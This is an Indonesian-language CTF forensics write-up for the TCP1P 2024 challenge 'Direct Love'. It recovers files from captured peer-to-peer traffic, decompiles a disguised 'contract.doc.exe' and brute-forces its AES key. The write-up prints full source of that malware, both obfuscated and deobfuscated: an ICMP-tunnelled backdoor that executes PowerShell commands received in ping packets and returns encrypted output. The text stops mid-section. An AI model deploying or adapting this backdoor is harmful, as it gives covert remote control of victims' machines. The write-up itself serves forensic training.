# TCP1P CTF 2024 [toc] # Direct Love 🩸 ## Summary >My fiancée, Mizuhara Chizuru, lent her laptop to one of her friends. Her friend downloaded files using a peer-to-peer protocol on Windows. However, not long after, one of Chizuru's important documents went missing. There's always something with my fiancée :D > Author: **C2uru** > file : [direct-love.zip](https://ctf.tcp1p.team/assets/6de4e96227fbc181db0c4517c3d872f7a99fb9e91ae97d21161c389028ca4a10/d04b9f8d64f85306b2eb3782a046d75081f1c84d06b890fe979f016e9f24572a.zip) Diberikan sebuah zip yang berisi file pcapng dengan traffic seperti berikut ![image](https://hackmd.io/_uploads/HJHI5PwJkx.png) Dapat dilihat bahwa traffic dalam file ini berfokus dengan protocol TCP dan ICMP. Lalu dapat kita lihat bahwa pada traffic ini berfokus pada IP 192.168.56.1 dan 192.168.56.101 ![image](https://hackmd.io/_uploads/rJ6-ivw11e.png) lalu dicobalah analisa pada protokol TCP terlebih dahulu dengan menggunakan follow TCP stream pada salah satu paket TCP, dan disini terlihat pula bahwa terdapat total 4 TCP stream ![image](https://hackmd.io/_uploads/SJpajvP1ke.png) dari sini kita dapat melihat *behaviour* atau sifat protokol asli pada traffic. Dapat terlihat bahwa terdapat sebuah percakapan dengan dengan menggunakan sebuah protokol tertentu, hal ini dapat dilihat dengan adanya penggunaan sebuah command unik seperti `$ConnectToMe` dan `$MyINFO $ALL`. Dengan dua command tersebut kita dapat mencari tahu protocol apa yang sebenarnya digunakan, dan ternyata protocol yang digunakan tersebut adalah [ADC](https://adc.dcbase.org/Protocol) yang mirip dengan protokol [NMDC](https://nmdc.sourceforge.io/NMDC.html) yang bisa kita sebut sebagai protokol peer-to-peer ([p2p](https://en.wikipedia.org/wiki/Peer-to-peer)). ![image](https://hackmd.io/_uploads/SkhD0vw1yx.png) Hal ini pun diperkuat oleh TCP Stream selanjutnya yang memuat command lainnya ![image](https://hackmd.io/_uploads/BkfxkdPkkl.png) ## Exploit ### recover file dari traffic Dari informasi yang kita dapatkan dapat kita simpulkan kita harus merecovery data dari traffic ADC Protokol. Untuk ADC sendiri memiliki behaviour tersendiri dalam mengirim atau menerima data. Secara singkat dapat dikatakan seperti ini - melakukan pertukaran data yang sudah di compress menggunakan zlib - selalu memberikan list file dalam bentuk compressed XML - dalam XML terdapat sebuah TTH Hash yang merupakan identifier pada file - hash ini akan digunakan pada command ADC untuk melakukan pertukaran data - file dengan ukuran besar akan dibagi menjadi beberapa bagian - bagian file pun akan dikirim dengan paket-paket yang lebih kecil - sistemnya sama seperti p2p pada umumnya, yaitu client akan meminta file dengan offset tertentu yang belum dimiliki oleh client, dan server akan mengirimkan bagian file tersebut secara berkala menggunakan paket yang lebih kecil hal pertama yang dilakukan adalah mengambil data XML untuk mengetahui file apa saja yang di transfer. untuk hal tersebut kita dapat mencapainya dengan 2 cara yaitu ambil stream yang mengirimkan XML lalu kita decompress atau langsung saja kita `binwalk` pcapng nya ```shell > binwalk -e Direct-Love.pcapng ``` dapat dilihat disini kita langsung mendapatkan beberapa XML sekaligus ![image](https://hackmd.io/_uploads/SkQmUOPkJe.png) dan berikut adalah isinya ![image](https://hackmd.io/_uploads/ByYWOb9ykg.png) dari file tersebut kita dapat mengetahui ada file yang menarik yaitu `secret.pdf` dan `contract.doc.exe` beserta TTH Hashnya, dan saat kita lihat di streamnya ternyata dua file tersebut lah yang di transfer ![image](https://hackmd.io/_uploads/By9Nd-911g.png) ![image](https://hackmd.io/_uploads/HkRSdZ9JJl.png) dan setelah dianalisa dua file tersebut berada pada TCP stream yang berbeda (pdf pada TCP stream 3, doc.exe pada TCP stream1). Dan untuk bagian file-filenya pun terstruktur, dapat dilihat pada file `contract.doc.exe` pada TCP stream 1 ![image](https://hackmd.io/_uploads/HJKf2bcykx.png) fokus pada command `$ADCGET file` yang memiliki struct seperti ini (structnya pun mirip dengan `$ADCSND file`) >$ADCGET file TTH/<TTH Hash file> <start offset> <end offset> ZL1 dari situ dapat dilihat paket sudah tersedia secara sequence sehingga kita hanya perlu mengambil secara berurutan, berikut scriptnya ```python import pyshark pcap_file = "Direct-Love.pcapng" display_filter = 'tcp.stream eq 3 and ip.src == 192.168.56.101' cap = pyshark.FileCapture(pcap_file, display_filter=display_filter) f = open("datafull3","ab") for packet in cap: if 'TCP' in packet: tcp_stream = packet.tcp.stream src_ip = packet.ip.src if hasattr(packet.tcp, 'payload'): tcp_data = bytes.fromhex(packet.tcp.payload.replace(':', '')) f.write(tcp_data) cap.close() f.close() ``` dan berikut hasilnya ![image](https://hackmd.io/_uploads/S1anJG9yyx.png) lalu lakukan cleaning (karena kita hanya perlu packet yang menyimpan zlib compressed saja dan memuat file yang ingin kita recover) sehingga seperti ini ![image](https://hackmd.io/_uploads/rJcVgGckJx.png) langsung saja kita ambil data yang memuat compressed zlibnya dan kita decompress menggunakan script berikut ```python import re import zlib data = open('datafull5','rb').read() rule = re.compile(rb'x\^.*?(?=\$ADC|$)', flags=re.S) matches = rule.findall(data) file = open('res3','ab') x = 0 for match in matches: x += 1 try: z = zlib.decompressobj() dm = z.decompress(match) file.write(dm) except Exception as e: print(x, e) c = open(f'fail{x}','wb').write(match) file.close() ``` dan berikut hasilnya ![image](https://hackmd.io/_uploads/S1Nigfc1kx.png) terlihat sepertinya file pdf tersebut sudah ter-encrypt (hal ini pun bisa kita pastikan dengan adanya extension tambahan `.wkwk` pada list file nya) oleh karena itu mari kita coba recover `.exe` nya terlebih dahulu disini saya menggunakan approach berbeda dengan TCP stream 3 karena pada TCP stream 1 terdapat beberapa packet yang error dan sepertinya pyshark ignore packet tersebut ![image](https://hackmd.io/_uploads/SyXsbfqyke.png) disini saya menggunakan filter pada follow TCP Stream (filter conversation dan membuat data as raw) ![image](https://hackmd.io/_uploads/SJmOZM91kg.png) lalu saya save as ke `datafull6` ![image](https://hackmd.io/_uploads/HJrpWMcyke.png) dan berikut hasilnya ![image](https://hackmd.io/_uploads/SJxMfMqk1x.png) cleaning terlebih dahulu lalu gunakan script sebelumnya untuk decompress zlib dan berikut hasilnya ![image](https://hackmd.io/_uploads/B1UszGckJl.png) dapat terlihat bahwa untuk file `contract.doc.exe` ini tidak ter-encyrpt tidak seperti file `.pdf` sebelumnya, maka bisa dipastikan kedua file ini berhubungan. ### decompile file exe mari kita coba analisa secara singkat file exe tersebut ```shell > strings res3 ``` dari sini dapat dilihat bahwa sepertinya file exe tersebut merupakan hasil compile script python ![image](https://hackmd.io/_uploads/rkkO7G91yx.png) langsung saja saya up ke [pylingual](https://pylingual.io/) dan berikut hasilnya ```python # Decompiled with PyLingual (https://pylingual.io) # Internal filename: server.py # Bytecode version: 3.10.0rc2 (3439) # Source timestamp: 1970-01-01 00:00:00 UTC (0) from scapy.all import * import subprocess from Crypto.Cipher import AES from Crypto.Random import get_random_bytes from Crypto.Util.Padding import pad, unpad import base64 import zlib import base64 def zenlesszonezero(input_bytes): return zlib.compress(input_bytes.encode()) def Zenonia(compressed_bytes): return zlib.decompress(compressed_bytes).decode() def gasskann(gg_bang): gacorrrrrrrr = AES.new(WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK, AES.MODE_CBC, bjirrrrrrrrrrrrrrrrrrr) wibuuuuuuuuuuuuuu = pad(gg_bang, AES.block_size) anjirrrrrrr = gacorrrrrrrr.encrypt(wibuuuuuuuuuuuuuu) return bjirrrrrrrrrrrrrrrrrrr + anjirrrrrrr def ashiap(bjrit): bjirrrrrrrrrrrrrrrrrrr = bjrit[:16] anjirrrrrrr = bjrit[16:] gacorrrrrrrr = AES.new(WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK, AES.MODE_CBC, bjirrrrrrrrrrrrrrrrrrr) wibuuuuuuuuuuuuuu = gacorrrrrrrr.decrypt(anjirrrrrrr) return unpad(wibuuuuuuuuuuuuuu, AES.block_size) def kazuyabjirrrrrrrrrr(ezChangli): try: if len(ezChangli) > 30000: wrth = base64.b64decode(ezChangli).decode('utf-16le') minecraft = ['powershell', wrth] else: # inserted minecraft = ['powershell', '-EncodedCommand', ezChangli] genshinImpact = subprocess.check_output(minecraft, stderr=subprocess.STDOUT, universal_newlines=True) return genshinImpact except subprocess.CalledProcessError as e: genshinImpact = e.output return genshinImpact def bengsky(kiaraaa): return len(kiaraaa) < 1024 def yellowww(Maling): if Maling.haslayer(ICMP) and Maling[ICMP].type == 8 and Maling.haslayer(Raw): msfir = Maling[IP].src azuketto = Maling[ICMP].seq kiaraaa = Maling[Raw].load if msfir not in kiaraaa_buffer: kiaraaa_buffer[msfir] = [] kiaraaa_buffer[msfir].append((azuketto, kiaraaa)) print(f'Received kiaraaa {azuketto} from {msfir}') if bengsky(kiaraaa): cutelittlebirb = b''.join([solderet for _, solderet in sorted(kiaraaa_buffer[msfir])]) ezChangli = Zenonia(ashiap(cutelittlebirb)) LKazuya = kazuyabjirrrrrrrrrr(ezChangli) if len(LKazuya) == 0: LKazuya = 'success' hoaaaaaahm = gasskann(zenlesszonezero(LKazuya)) del kiaraaa_buffer[msfir] yoasobi(hoaaaaaahm, msfir, Maling[ICMP].id) def yoasobi(gataubjrit, Mau_kemana_kita, booyah): MAX_kiaraaa_SIZE = 1024 kiaraaas = [gataubjrit[i:i + MAX_kiaraaa_SIZE] for i in range(0, len(gataubjrit), MAX_kiaraaa_SIZE)] for kiara123, kiaraaa in enumerate(kiaraaas): reply = IP(dst=Mau_kemana_kita, src=MizuharaChizuru) / ICMP(type=0, seq=kiara123, id=booyah) / kiaraaa send(reply) print(f'Sent kiaraaa {kiara123 + 1}/{len(kiaraaas)} of gataubjrit') def gabutt(MizuharaChizuruPretty): if not MizuharaChizuruPretty.haslayer(ICMP) or MizuharaChizuruPretty[ICMP].type == 8: ezChangli = ashiap(Zenonia(MizuharaChizuruPretty[Raw].load)) print(f'{ezChangli}') LKazuya = kazuyabjirrrrrrrrrr(ezChangli) if len(LKazuya) == 0: LKazuya = 'success' hoaaaaaahm = IP(dst=MizuharaChizuruPretty[IP].src, src=MizuharaChizuru) / ICMP(type=0) / zenlesszonezero(gasskann(LKazuya)) send(hoaaaaaahm) def kawokaowkoawkowkoakowkokokwokoawkokokaowkoawkoakowkawooawkoaowkoawoakwoawokaoawk(awokawokawokawokawokawokawokawokawokawokawokawok): if len(awokawokawokawokawokawokawokawokawokawokawokawok)!= 32: return False if ord(awokawokawokawokawokawokawokawokawokawokawokawok[0]) ^ 205159573243964824737299055634219568431425393093966110759400764283677572127787 ^ 173438557617046994740268237909681699856296019683243567021195924658018589018903 == 84537522163133512712798803067162590725054291695882455854042202399512022210394 and ord(awokawokawokawokawokawokawokawokawokawokawokawok[1]) * 162494310648658200012862524540051780636413417878626535838725154491130938306481 % 195058868702908667776267085193295799561528929723257041839747686100985003927251 == 192431031722155557342984855383949287648215798967049088508647657635869885548299 and (ord(awokawokawokawokawokawokawokawokawokawokawokawok[2]) >> (ord(awokawokawokawokawokawokawokawokawokawokawokawok[151244431611715386709405295427990705569837850570734658634219328116519491973958]) >> (ord(awokawokawokawokawokawokawokawokawokawokawokawok[2]) | (ord(awokawokawokawokawokawokawokawokawokawokawokawok[1]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[3]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[6]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[151244431611715386709405295427990705569837850570734658634219328116519491973958]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[9]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[10]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[11]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[12]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[34967568471296017085928006251512630841377292388]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[177882818520121930146048357479318156034980376337314021987435285709653355602623]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[34]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[223421758885926246028379197342793581801600698205469559280956909002798064333220]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[213]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[209283825236870728108795504436518862758898641660764912471694788781672098710497]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[68]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[123772702489839681973635644532466572473607067530754438100981398346883113920296]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[140]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[205902649635755580703010725811204104880093096195602756256202759621195005547387]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[172]) % (ord(awokawokawokawokawokawokawokawokawokawokawokawok[13]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[191110997079291003886243920110265359868927528775615636607149409815719553018286]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[203502071766785860328949160274923202972577704040667994653638555977843864283024]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[46784198301386614834492076010478856478791434675045915130379418070814796582415]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[14]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[196304600276030441717203047793990291753677613346535569350358632461910478331551]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[228188132596927174240201320565066612978089566161838459847187087960904632401916]) % (ord(awokawokawokawokawokawokawokawokawokawokawokawok[33693004706189283263780318189072261648330420986111978542300002073853895827802]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[15]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[160673928596956747585215127845421421241617867509048866522228214873677517286155]) % (ord(awokawokawokawokawokawokawokawokawokawokawokawok[211838851397605725599441667381614970040407649476387313769902668442103668164628]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[86149922340117762510426110842089298142982259284402297350458250020788775808832]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[16]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[129933060553846437718252540370820819460825657759431927658325212603758218003089]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[34648009544446514315497695836498474173573379577965071378217963496273404580428]) ^ (ord(awokawokawokawokawokawokawokawokawokawokawokawok[17]) % (ord(awokawokawokawokawokawokawokawokawokawokawokawok[18]) % (ord(awokawokawokawokawokawokawokawokawokawokawokawok[19]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[20]) + (ord(awokawokawokawokawokawokawokawokawokawokawokawok[21]) % (ord return True else: # inserted pass # postinserted return False bjirrrrrrrrrrrrrrrrrrr = get_random_bytes(16) MizuharaChizuru = '192.168.56.101' ChizuruMizuhara = '\\Device\\NPF_{F64BB047-095A-46A3-8E8F-C5D24BEE0ED2}' WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK = str(input()) if not kawokaowkoawkowkoakowkokokwokoawkokokaowkoawkoakowkawooawkoaowkoawoakwoawokaoawk(WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK): raise '?' kiaraaa_buffer = {} WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK = bytes.fromhex(WKWKKKWKWKWKWKWKWKWKWKWKWKWWKWKWKWKWKWKWKKWKWKWKWK) RET2LIBC = 0 print('...') sniff(iface=ChizuruMizuhara, filter='icmp', prn=yellowww) ``` ### recover aes key sepertinya file tersebut terkena obfuscated dan secara sekilas script tersebut merupakan ICMP listener yang akan mengtamper paketnya menggunakan AES mari kita coba recover AES key nya terlebih dahulu, karena terlihat seperti persamaan saja pada fungsinya sehingga kita bisa merecover tanpa deobfuscated terlebih dahulu. berikut scriptnya (seharusnya bisa menggunakan z3 tapi penulis lebih memilih cara barbar) ```python AESkey = '' for i0 in range(256): if i0 ^ 0x1C59434157D3CC5C0CBC8D6DC02829495C788A9DBBFF2DE1E78648DC30BF0DC2B ^ 0x17F72BEAECB88ADF2DB3938AAAAB9CF6EDC0783FC48DC33EF14B8E7FBF4030B17 == 0xBAE68ABBB6B4683210F1EE76A83B5BFB1B8F2A27F72EEDF16CDC6A38FFF3D75A: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if i0 * 0x16740854518DF2EA1657D27CE6B01C05086BBBF1CB2802F04C6C54E69897AAFB1 % 0x1AF3F684363BC2A1C0DB2F3D6812A60EC5D77BF04C711F81E78529D7C736066D3 == 0x1A9701AB0782E53FCF134510662DF4B1705F5BBA7244C0440F068B5D43351470B: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if i0 * 0x14E61508FE9FA732B9710920C44347E1DABD7C0BE88BE684F1769BDF57A0DB346 % 0x113F1B22D1B3C1884382491E066CCD1CA5C9BE6A8E86689DC4A586E206BE55B43 == 0x2D7CBCC3B3580A379AD255757F701DB73D21E174FC7852EB8BCAAAAE709AEFF2: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if int(format(i0, 'o')) ^ 0x1F7BB0571AD58CA0A5A58004A08EC1F1BB1EC32AE1D76661EDBE21AEB2A341B14 == 0x1F7BB0571AD58CA0A5A58004A08EC1F1BB1EC32AE1D76661EDBE21AEB2A341B29: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if (i0 + 0x17A16D26F9760AA550B5F840E3EE93ABC33D2F04349CDC4E30377DC04659BF508) % 256 == 110: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if i0 * 0x179C53E1010297ED481DF9E8AB4B6FF6DB4261D9A8091863F50975276AE3A6014 % 0x1A6F53F5AAF1C46EB1710B54AA6AE95B69CAC65E67DF15991267A60A3AFB6EEAA == 0x10D593B9F4C393B8B761E2B7A7AB07D38A086FC1C680FC73A9C39C7FAFCAA3A78: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if (i0 + 0x1EE7355295E254A569DDA5FFCF6F76564A1FEEF89CE139C965684168A5BF6E837) % 256 == 111: print(chr(i0)) AESkey += chr(i0) break for i0 in range(0,256): try: if i0 ^ 0x1B1FE62CCD12D4121DFC48286E16D21CA772521811D09AB587B5630A7DC81862E >> 0xA775C05707307D708AA70410BF0A65B1C249287FC53CC769028A01B602BE3924 * i0 ^ i0 % i0 << i0 + i0 == 0x620000000000000000000000000000000000064: print(chr(i0)) AESkey += chr(i0) break except Exception as e: print('erreor', e) AESkey += '?' pass for i0 in range(256): if (i0 + 0x189461B7D908379B8AB0EB80DF5F1962FF90AD201A3BE370B00E0911243F522BF) % 256 == 34: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if (i0 + 0x1EDF43BF6921FBC6B43B794653E72057D3C6C4410F34E1A0A4AF174DBFDE5F1A4) % 256 == 213: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if (i0 + 0x1CEB272861475D38612F33A177FDCA9C6250DCE2D619E718DCA06F83DBC4043E1) % 256 == 68: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if (i0 + 0x111A4DDF5A00B9373C7E8695BB23DAF8062C478A57DC0AA579EE69417E017A728) % 256 == 140: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if (i0 + 0x1C738C510B7C2E2562935301E1D01BD3E526BF2B6D9FBED520280020C3D11D37B) % 256 == 172: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if i0 ^ 0x1A684FDBA4E1C5AC7773537CFB678FBB54CB24DE6BFAC6F1807612A5A21E829AE ^ 0x1C1EA1742BFFCD3267BA6B8ED813D3E164E4069001907FCD42230E2E0E1DCA790 == 0x676EEAF8F1E089E10C938F223745C5A302F224E6A6AB93CC2551C8BAC0348E0F: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if i0 ^ 0x1B20077638558416EB947F1F246000FD3FC2168F54D62084AF8811154599E9E9F ^ 0x1F87DE7F96C8AB4A92888E158C8195AC1E9C46AF24DCB134210F0164E3F287FFC == 0x4A7D909AE9D2F5C791CF10AA8E19551215E5020700A91B08E871071A66B6E15A: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if i0 * 0x1633A388A11C683B5ABF8E6BABB8D4B6D3B41C912ADA609409CAAF4E70D4FEB0B % 0x1D4588A7995E8722D0E1F46C973ECCAC1158D9F0CDC7B99B4DCAC29E458064814 == 0xBE7720CA4088A3BA42454EAEDD31A154146B55B18DC01EAE57D807361E19EF40: print(chr(i0)) AESkey += chr(i0) break for i0 in range(0,256): try: if i0 ^ 0x11F438191D6F5840FAE20242D792FAAEA4C466801CC307E4C3A7DDC69EEB34291 >> 0x4C9A14151D062384AF3E08791BC4782BB5F541AB6337FA5B2BA69ECB89B5524C * i0 ^ i0 % i0 << i0 + i0 == 0x1C8000000000000000000000000035: print(chr(i0)) AESkey += chr(i0) break except Exception as e: print('erreor', e) AESkey += '?' pass for i0 in range(256): if i0 * 0x12088CD4A74ADF9C9106019F227B5D6799FDB90AE5189615B3418FED04F6CCC8B % 0x13E1969C6CE32AE7BC0BA2FA42E521A71081848E9522584C8727F6CB20AF67DA3 == 0xFCF63F7540288FCFF0A85EE7A3BDC0876349688FCAB95CCD089482CB3BA83492: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if (i0 + 0x192B498C56D10044247AD142429A059F769407838C08CC74721FBB9915EA2EE7B) % 256 == 180: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if (i0 + 0x1E6CA62A1BBE1572E5092A153D8CBCAC1B5A0DB31542E5EBCD6B5313225B95D27) % 256 == 136: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if i0 ^ 0x1259F222BE4B210D359B761FA4309295E8A928C5829CA2BF876C018407AB19BE0 ^ 0x1331876F91705B77820E694D7C62976AC6B2AC7E25AF0ECED8C194B8B98F25BA8 == 0x168754D2F3B7A7AB7951F52D85205FF2E1B84BBA733AC715FAD953CBE243C071: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if (i0 + 0x1BD52E3F20A69859770745A6EEC6D3810FFD6773ED3E2A10200D93C0DB37F0EC4) % 256 == 250: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if (i0 + 0x145831CC88E273608B9F2205BAC8C2E3CAE65F574829E442114F8C2207EE32B6C) % 256 == 157: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if (i0 + 0x198E4DABDEE1179F7D4092D5E2208110E518CB31708F9C6336DC666EDFC8484AA) % 256 == 223: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if i0 ^ 0x13D6AFD58676E2ED7E6DABB9715206DC1050A5EABE9E28003DFF058C3E8FEC677 == 0x13D6AFD58676E2ED7E6DABB9715206DC1050A5EABE9E28003DFF058C3E8FEC612: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if (i0 + 0x1007D88C5C57065A9DD3AE28DACE58214AB85927D8F03C207A923CBDD875874B8) % 256 == 236: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if (i0 + 0x1690B92CCC40F3439EB8A682B751B0C7AA23669E19166E52D9B7058C254BC1D57) % 256 == 138: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if i0 ^ 0x1F51787EF5E51DE2D83D786886A97C27161AEF727A0A999AB1EAEC51E66D08113 == 0x1F51787EF5E51DE2D83D786886A97C27161AEF727A0A999AB1EAEC51E66D08171: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if (i0 + 0x1807BD7F90F445C98B17365BA6611E5D694FF44072DBE8AED45EC9F5957878254) % 256 == 184: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if i0 * 0x149331111B35BF53655E0BF224A63D19A4B38A5665E6B7A06FB099DBACE9481AE % 0x102A14368B493161415CEC124D876391470A07A1392D42502B5450744DDB2081C == 0x1E03C2C2889A52E7CC0404ACB1E6C8F5D4A27A4231518C25E30E64DC339A4BA: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if i0 * 0x1041D420E124872008EFFCFC6010E5B6D0F0301EA10C3DD80DAA776F8B3E947B6 % 0x168EF3A2189D80198564293C6B9C739560E68D6038CC571FC460206DC4BB0AC6E == 0xB770BE0AFA44F7C860F0A53971E913E9DF4DBC3F89BCC0672825724619916726: print(chr(i0)) AESkey += chr(i0) break for i0 in range(256): if i0 ^ 0x17777376A529C6674F02B3DC88649F1514EB6631D53167714CB5ECA2B43B9A4E0 ^ 0x1CBA893260FEF9E39ED652E048DACA599F28D098FF6EA1331449172D0F1A225E0 == 0xBCDFA44C5D73F84D1D4E13CC0BE554C8BC3B6A92A5FC64258FCFB8FBB21B8139: print(chr(i0)) AESkey += chr(i0) break print(AESkey) ``` terdapat sebuah edge case terutama pada persamaan yang memiliki modulo sehingga kita ganti menggunakan `?` dan sepertinya kita butuh bruteforce untuk char `?` dan berikut AES Key hasil script ```shell % python3 brute-aeskey.py f 0 0 1 f a 8 erreor integer division or modulo by zero c 1 c d 1 1 9 0 erreor integer division or modulo by zero 8 9 a 9 6 1 5 e 4 3 b d 7 f 9 f001fa8?c1cd1190?89a9615e43bd7f9 ``` untuk brute AES key nya kita dapat mengambil satu packet lalu kita coba decrypt menggunakan script berikut ```python def brute(f): hexchar = '0123456789abcdef' for x in hexchar: for y in hexchar: key = bytes.fromhex(f'f001fa8{x}c1cd1190{y}89a9615e43bd7f9') try: data = decrypt_data(f, key) print(key) try : data = decompress_data(data) print(data) except Exception as e: pass # print(e) except Exception as e: pass # print(e) brute(open('data-aes','rb').read()) ``` dan kitapun dapat full AES Key ```shell % python3 brute-aes.py b'\xf0\x01\xfa\x8d\xc1\xcd\x11\x90X\x9a\x96\x15\xe4;\xd7\xf9' ``` atau dalam bentuk hex nya `f001fa8dc1cd1190589a9615e43bd7f9`. ### deobfuscate python script lalu kita coba deobfuscate keseluruhan scriptnya. Dan berikut hasilnya ```python from scapy.all import * import subprocess from Crypto.Cipher import AES from Crypto.Random import get_random_bytes from Crypto.Util.Padding import pad, unpad import zlib import base64 def compress_data(input_bytes): return zlib.compress(input_bytes.encode()) def decompress_data(compressed_bytes): return zlib.decompress(compressed_bytes).decode() def encrypt_data(data, key, iv): cipher = AES.new(key, AES.MODE_CBC, iv) padded_data = pad(data, AES.block_size) encrypted_data = cipher.encrypt(padded_data) return iv + encrypted_data def decrypt_data(data, key): iv = data[:16] encrypted_data = data[16:] cipher = AES.new(key, AES.MODE_CBC, iv) decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size) return decrypted_data def execute_powershell(encoded_command): try: if len(encoded_command) > 30000: decoded_command = base64.b64decode(encoded_command).decode('utf-16le') command = ['powershell', decoded_command] else: command = ['powershell', '-EncodedCommand', encoded_command] output = subprocess.check_output(command, stderr=subprocess.STDOUT, universal_newlines=True) return output except subprocess.CalledProcessError as e: return e.output def is_data_small(data): return len(data) < 1024 def process_icmp_packet(packet): if packet.haslayer(ICMP) and packet[ICMP].type == 8 and packet.haslayer(Raw): src_ip = packet[IP].src seq_num = packet[ICMP].seq raw_data = packet[Raw].load if src_ip not in packet_buffer: packet_buffer[src_ip] = [] packet_buffer[src_ip].append((seq_num, raw_data)) print(f"Received data with sequence {seq_num} from {src_ip}") if is_data_small(raw_data): assembled_data = b''.join([data for _, data in sorted(packet_buffer[src_ip])]) decrypted_data = decompress_data(decrypt_data(assembled_data, aes_key)) command_output = execute_powershell(decrypted_data) if len(command_output) == 0: command_output = 'success' encrypted_response = encrypt_data(compress_data(command_output), aes_key, iv) del packet_buffer[src_ip] send_icmp_response(encrypted_response, src_ip, packet[ICMP].id) def send_icmp_response(response_data, dst_ip, packet_id): MAX_DATA_SIZE = 1024 chunks = [response_data[i:i + MAX_DATA_SIZE] for i in range(0, len(response_data), MAX_DATA_SIZE)] for idx, chunk in enumerate(chunks): reply = IP(dst=dst_ip, src=local_ip) / ICMP(type=0, seq=idx, id=packet_id) / chunk send(reply) print(f"Sent chunk {idx + 1}/{len(chunks)} of response") def icmp_listener(): sniff(iface=network_interface, filter='icmp', prn=process_icmp_packet) iv = get_random_bytes(16) local_ip = '192.168.56.101' network_interface = '\\Device\\NPF_{F64BB047-095A-46A3-8E8F-C5D24BEE0ED2}' aes_key = bytes.fromhex(input("Enter AES key: ")) packet_buffer = {} icmp_listener() ``` dari sini dapat lihat lebih jelas bahwa alurnya adalah sebagai berikut 1. melakukan sniffing pada paket ICMP 2. membaca isi dari paket ICMP lalu exec command ps1 didalamnya 3. memberikan response hasil dari command pada paket ICMP hal ini dapat disimpulkan agar kita mengetahui hasil command tersebut, dikarenakan ICMP sendiri memiliki behaviour dia akan memberikan response yang sama dengan request ### menganalisa request ICMP oleh karena itu mari kita coba lihat ICMP requestnya terlebih dahulu dengan mendecrypt menggunakan AES dan kita decompress zlib ```python from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import zlib import pyshark from base64 import b64decode, b64encode import subprocess import re from pwn import xor import hashlib pcap_file = "Direct-Love.pcapng" display_filter = 'icmp.type == 8' cap = pyshark.FileCapture(pcap_file, display_filter=display_filter) def fix(f): key = bytes.fromhex('f001fa8dc1cd1190589a9615e43bd7f9') try: data = decrypt_data(f, key) data = decompress_data(data) data = b64decode(data).decode('UTF-16LE') print(data) except Exception as e: print(e) pass def main(): for packet in cap: if 'ICMP' in packet: icmp_layer = packet.icmp src_ip = packet.ip.src if hasattr(icmp_layer, 'data'): print('='*21) raw_data = bytes.fromhex(icmp_layer.data) fix(raw_data) main() ``` berikut hasilnya ![image](https://hackmd.io/_uploads/SkCiKz5yke.png) disini kita mendapatkan informasi bahwa isi request tersebut adalah obfuscated powershell script, dan terdapat command block untuk enkripsi AES yang bisa kita simpulkan bahwa file `secret.pdf.wkwk` merupakan hasil command block tersebut, dan kita harus merecover variable `$key` terlebih dahulu. ### deobfuscate 